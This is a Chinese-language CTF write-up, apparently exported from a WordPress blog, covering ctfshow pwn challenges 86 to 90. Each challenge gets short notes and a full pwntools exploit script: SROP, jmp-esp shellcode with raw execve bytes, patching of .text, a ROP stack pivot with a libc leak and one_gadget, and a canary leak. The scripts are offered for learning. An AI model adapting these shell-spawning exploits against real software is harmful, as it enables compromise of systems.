{"id":1046,"date":"2026-04-08T23:17:58","date_gmt":"2026-04-08T15:17:58","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=1046"},"modified":"2026-04-08T23:18:00","modified_gmt":"2026-04-08T15:18:00","slug":"ctfshowpwn86pwn90","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2026\/04\/08\/ctfshowpwn86pwn90\/","title":{"rendered":"ctfshow:pwn86~pwn90"},"content":{"rendered":"\n

pwn86(srop)<\/h1>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6211\u4eec\u53ef\u4ee5\u5f80bass\u6bb5\u51990x200\u5b57\u8282\uff0c\u7136\u540e\u5982\u679csys_read(0, global_buf, 0x200u) >= 0xF8\u5c31\u4f1asyscall<\/p>\n\n\n\n

\u6ce8\u610f\u591a\u8c03\u8bd5\u770b\u770b\u5bc4\u5b58\u5668\u7684\u72b6\u6001<\/p>\n\n\n\n

info registers<\/code><\/pre>\n\n\n\n
from pwn import *\n\ncontext(arch='amd64', os='linux', log_level='debug')\n\n# p = process(\".\/pwn\")\np=remote(\"pwn.challenge.ctf.show\",28313)\nbuf = 0x601040\nsyscall_ret = 0x400147\n\nframe = SigreturnFrame()\nframe.rax = 59\nframe.rdi = buf + 0x1f8\nframe.rsi = 0\nframe.rdx = 0\nframe.rip = syscall_ret\n\npayload = bytes(frame)\npayload = payload.ljust(0x1f8, b'\\x00')\npayload += b'\/bin\/sh\\x00'\n\np.recvuntil(b\"Welcome to CTFshowPWN!\\n\")\np.send(payload)\n\np.interactive()<\/code><\/pre>\n\n\n\n
pwn87(\u82b1\u5f0f\u6808\u6ea2\u51fa)<\/h1>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u62d6\u8fdbida\u770b\u5927\u6982\u662f\u53ef\u4ee5\u6808\u8fc1\u79fb+shellcode<\/p>\n\n\n\n
0x080484a5: leave; ret; \n0x804a000  0x804b000 rw-p     1000    1000 pwn\n0x08048d17: jmp esp; <\/code><\/pre>\n\n\n\n
\u4f46\u662f\u597d\u50cf\u6808\u7a7a\u95f4\u591f\u653eshellcode\u5c31\u4e0d\u7528\u8fc1\u79fb\u5230.bss\u6bb5\u4e86<\/p>\n\n\n\n
\u6808\u4e0a\u7684\u504f\u79fb\u662f\u76f8\u5bf9\u56fa\u5b9a\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u6808\u6ea2\u51fa\u5bf9esp\u8fdb\u884c\u64cd\u4f5c\uff0c\u4f7f\u5176\u6307\u5411shellcode\u5904\uff0c\u5e76\u4e14\u76f4\u63a5\u63a7\u5236<\/p>\n\n\n\n
\u7a0b\u5e8f\u8df3\u8f6c\u81f3esp\u5904\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
from pwn import *\n\ncontext(arch='i386', os='linux', log_level='debug')\n# p = process(\".\/pwn\")\np=remote(\"pwn.challenge.ctf.show\",28289)\nelf = ELF(\".\/pwn\")\n\noffset=0x20+4\nbuf_addr=0xffffcfd8\njmp_esp=0x08048d17\n\n# shellcode=asm(shellcraft.sh())\nshellcode = b\"\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\"\nshellcode += b\"\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\"\nshellcode += b\"\\x0b\\xcd\\x80\"\nsub_esp_jmp = asm(\"sub esp,0x28;jmp esp\")\npayload = shellcode.ljust(offset,b'a') + p32(jmp_esp)\npayload += sub_esp_jmp\n# gdb.attach(p,'b *0x8048725')\np.sendlineafter(\"What's your name?\", payload)\np.interactive()<\/code><\/pre>\n\n\n\n

pwn88(\u82b1\u5f0f\u6808\u6ea2\u51fa)<\/h1>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7a0b\u5e8f\u6bcf\u6b21\u53ef\u4ee5\u5411\u67d0\u4e2a\u5730\u5740\u5199\u5165\u4e00\u4e2a\u5b57\u8282\uff0c\u4e00\u4e2a\u65b9\u6cd5\u662f\u5229\u7528%llx\u5b9e\u73b0\u5199\u5165\u4fee\u6539.text\u4e2d\u7684\u6307\u4ee4\u5b9e\u73b0\u591a\u6b21\u5229\u7528\uff0c\u5199\u5165shellcode\u7136\u540e\u8df3\u8f6c\u6267\u884cShellcode<\/p>\n\n\n\n
\u4fee\u6539\u7684\u76ee\u6807\u662f\u7a0b\u5e8f\u7684\u5c3e\u6bb5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u91cc\u6709\u4e00\u4e2ajnz xxxxxx;\u610f\u601d\u662f\u4e0d\u6ee1\u8db3\u6761\u4ef6\u5c31\u8df3\u8f6c\u6267\u884cxxxxxx\u4e2d\u7684\u6307\u4ee4\uff0c\u6ee1\u8db3\u7684\u8bdd\u4e5f\u5c31\u662fn255 == 255\u5c31\u4f1aputs(“No flag for you”),\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u628ajnz\u6539\u4e3ajmp<\/p>\n\n\n\n
\u7136\u540e\u6211\u4eec\u9700\u8981\u9010\u5b57\u8282\u5199\u5165shellcode\u52300x400769<\/code> \u5f00\u59cb\u7684\u533a\u57df<\/p>\n\n\n\n
\u7136\u540e\u4fee\u6539\u504f\u79fb\u8df3\u8f6c\u5230shellcode,\u5f88\u5de7\u5999\u7684\u5229\u7528\u65b9\u5f0f<\/p>\n\n\n\n
writeData(text+1, u32(asm('jnz $+0x2')[1:].ljust(4,'\\x00')))<\/code><\/pre>\n\n\n\n
from pwn import *\n\ncontext(arch='amd64', os='linux', log_level='debug')\n# p = process(\".\/pwn\")\np=remote(\"pwn.challenge.ctf.show\", 28279)\nelf = ELF(\".\/pwn\")\ntext=0x400767\nshellcode=asm(shellcraft.sh())\nbuf=0x400769\ndef writeData(addr,data):\n    p.sendlineafter('Where What?',(hex(addr) + ' ' + str(data)).encode())\njnz_bytes = asm('jnz $-0x4A')\nwriteData(text + 1, u32(jnz_bytes[1:].ljust(4, b'\\x00')))\njmp_bytes = asm('jmp $-0x4A')\nwriteData(text, u32(jmp_bytes[0:1].ljust(4, b'\\x00')))\n\ni = 0\nfor x in shellcode:  # x \u662f int (0-255)\n    writeData(buf + i, x)\n    i += 1\n\nfinal_jnz = asm('jnz $+0x2')\nwriteData(text + 1, u32(final_jnz[1:].ljust(4, b'\\x00')))\np.interactive()<\/code><\/pre>\n\n\n\n

\u5c31\u662f\u8981\u6ce8\u610f\u7f16\u7801\u5f62\u5f0f<\/p>\n\n\n\n
pwn89(\u82b1\u5f0f\u6808\u6ea2\u51fa)<\/h1>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e00\u76f4\u8ddf\u8fdb\u5230lenth\u51fd\u6570\u53d1\u73b0\u6709fget\u5371\u9669\u51fd\u6570<\/p>\n\n\n\n
__int64 lenth()\n{\n  char s[8]; \/\/ [rsp+0h] [rbp-10h] BYREF\n  unsigned __int64 v2; \/\/ [rsp+8h] [rbp-8h]\n\n  v2 = __readfsqword(0x28u);\n  fgets(s, 8, stdin);\n  return atol(s);\n}<\/code><\/pre>\n\n\n\n

start\u4e2d\u7684\u6761\u4ef6\u5224\u65ad<\/p>\n\n\n\n
n0x10000 = lenth();\n  if ( n0x10000 <= 0x10000 )\n  {\n    readn(0, s, n0x10000);\n    puts(\"See you next time!\");\n  }\n  else\n  {\n    puts(\"Are you kidding me?\");\n  }<\/code><\/pre>\n\n\n\n

main\u51fd\u6570\u5728\u521b\u5efa\u7ebf\u7a0b\u548c\u7b49\u5f85\u7ebf\u7a0b\u7ed3\u675f\uff0c\u8ddf\u8fdbreadn\u51fd\u6570<\/p>\n\n\n\n
__int64 __fastcall readn(int fd, _BYTE *s, unsigned __int64 n0x10000)\n{\n  unsigned __int64 n0x10000_1; \/\/ [rsp+20h] [rbp-10h]\n  ssize_t v6; \/\/ [rsp+28h] [rbp-8h]\n\n  n0x10000_1 = 0;\n  while ( n0x10000_1 < n0x10000 )\n  {\n    v6 = read(fd, &s[n0x10000_1], n0x10000 - n0x10000_1);\n    if ( v6 == -1 )\n    {\n      if ( *__errno_location() != 11 && *__errno_location() != 4 )\n        return -1;\n    }\n    else\n    {\n      if ( !v6 )\n        return n0x10000_1;\n      n0x10000_1 += v6;\n    }\n  }\n  return n0x10000_1;\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u9898\u5f00\u4e86canary\uff0c\u53ef\u4ee5\u7528\u5230\u653b\u51fbTLS\u7ed3\u6784\u4f53<\/p>\n\n\n\n
\u6700\u5f00\u59cb\u8f93\u5165\u957f\u5ea6\u6700\u5927\u662f0x10000\uff0c\u800cs\u53ea\u67090x1010,\u4f1a\u53d1\u751f\u6808\u6ea2\u51fa\uff0c\u7136\u540erop\u8fc1\u79fb\u5230.bss\u6bb5\u6267\u884cone_gadget<\/p>\n\n\n\n
from pwn import *\nfrom LibcSearcher import LibcSearcher\n\ncontext(arch='amd64', os='linux', log_level='debug')\np=remote(\"pwn.challenge.ctf.show\", 28104)\n# p = process(\".\/pwn\")\nelf = ELF(\".\/pwn\")\nlibc = ELF(\".\/libc6_2.27-3ubuntu1.6_amd64.so\")\n\noffset = 0x1010\nbss = 0x602100\nrdi = 0x400be3\nrsi_r15 = 0x400be1\nleave_ret = 0x40098c\n\n# \u6784\u9020 ROP \u94fe\npayload = b\"a\" * offset\npayload += p64(bss - 0x8)\npayload += p64(rdi)\npayload += p64(elf.got[\"puts\"])\npayload += p64(elf.plt[\"puts\"])\npayload += p64(rdi)\npayload += p64(0)\npayload += p64(rsi_r15)\npayload += p64(bss)\npayload += p64(0)\npayload += p64(elf.plt[\"read\"])\npayload += p64(leave_ret)\n\npayload = payload.ljust(0x2000, b'a')\n\np.sendlineafter('send:\\n', str(0x2000))\nsleep(0.5)\np.send(payload)\nsleep(0.5)\n\np.recvuntil(\"See you next time!\\n\")\nleak = p.recv(6)\nputs_addr = u64(leak.ljust(8, b'\\x00'))\nprint(hex(puts_addr))\nlibc_base = puts_addr - libc.symbols[\"puts\"]\none_gadget = libc_base + 0x4f302\n\np.send(p64(one_gadget))\n\np.interactive()<\/code><\/pre>\n\n\n\n

\u5c31\u662f\u8981\u6ce8\u610fbss\u6bb5\u7684\u5730\u5740\uff0c\u8fd9\u91cc\u7528\u7684\u662f0x602100,\u8fd8\u6709payload\u7684\u7ed3\u6784\uff0c\u5148\u4f2a\u9020\u8fd4\u56de\u5730\u5740\u7136\u540e\u6cc4\u9732libc\u548c\u6784\u9020read\u5199\u5165one_gadget<\/p>\n\n\n\n

pwn90(\u82b1\u5f0f\u6808\u6ea2\u51fa\uff09<\/h1>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u7a0b\u5e8f\u6709\u540e\u95e8\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u601d\u8def\u5c31\u662f\u7b2c\u4e00\u6b21\u5148\u6cc4\u9732canary\u7b2c\u4e8c\u6b21\u5c31ret2text<\/p>\n\n\n\n
\u6cc4\u9732canary\u65f6\u8981\u6ce8\u610fread\u5927\u5c0f\u662f40+1 (+ 1 \u662f\u4e3a\u4e86\u8986\u76d6 canary \u7684\u6700\u4f4e\u4f4d\u4e3a\u975e 0 \u7684\u503c, printf \u4f7f\u7528 %s \u65f6, \u9047\u5230 \\0 \u7ed3\u675f, \u8986\u76d6 canary \u4f4e\u4f4d\u4e3a\u975e 0 \u503c\u65f6, canary \u5c31\u53ef\u4ee5\u88ab printf \u6253\u5370\u51fa\u6765\u4e86)\uff08\u6458\u81ea\u5b98wp\uff09<\/p>\n\n\n\n
\u6700\u540e\u7684\u8fd4\u56de\u5730\u5740\uff0c\u7531\u4e8e\u5f00\u4e86pie\uff0c\u53ef\u4ee5\u7528\u4f4e\u4e24\u4f4d\u5b57\u8282\u7684\u504f\u79fb\u6765\u8986\u76d6<\/p>\n\n\n\n
from pwn import*\ncontext(arch = 'amd64',os = 'linux',log_level = 'debug')\n# io = process('.\/pwn')\nio = remote('pwn.challenge.ctf.show',28108)\npayload = b'a' * 41\nio.sendafter('show:\\n',payload)\nio.recv(6 + 40)\ncanary = u64(io.recv(8)) & (0xffffffffffffff00)\nprint(hex(canary))\npayload = b'a' * 40 + p64(canary) + p64(0) + b'\\x42'\nio.send(payload)\nio.interactive()<\/code><\/pre>\n\n\n\n

\u591a\u8bd5\u4e86\u4e00\u4e0b\u5176\u4ed6\u7684\u6bd4\u5982\u8986\u76d6\u62103e\uff0c\u4f46\u662f\u597d\u50cf\u4e0d\u884c<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
pwn86(srop) \u6211\u4eec\u53ef\u4ee5\u5f80bass\u6bb5\u51990x200\u5b57\u8282\uff0c\u7136\u540e\u5982\u679csys_read(0, global_b […]<\/p>\n","protected":false},"author":1,"featured_media":1055,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4,11,10],"class_list":["post-1046","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn","tag-srop","tag-10"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/1046","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=1046"}],"version-history":[{"count":2,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/1046\/revisions"}],"predecessor-version":[{"id":1057,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/1046\/revisions\/1057"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/1055"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=1046"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=1046"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=1046"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}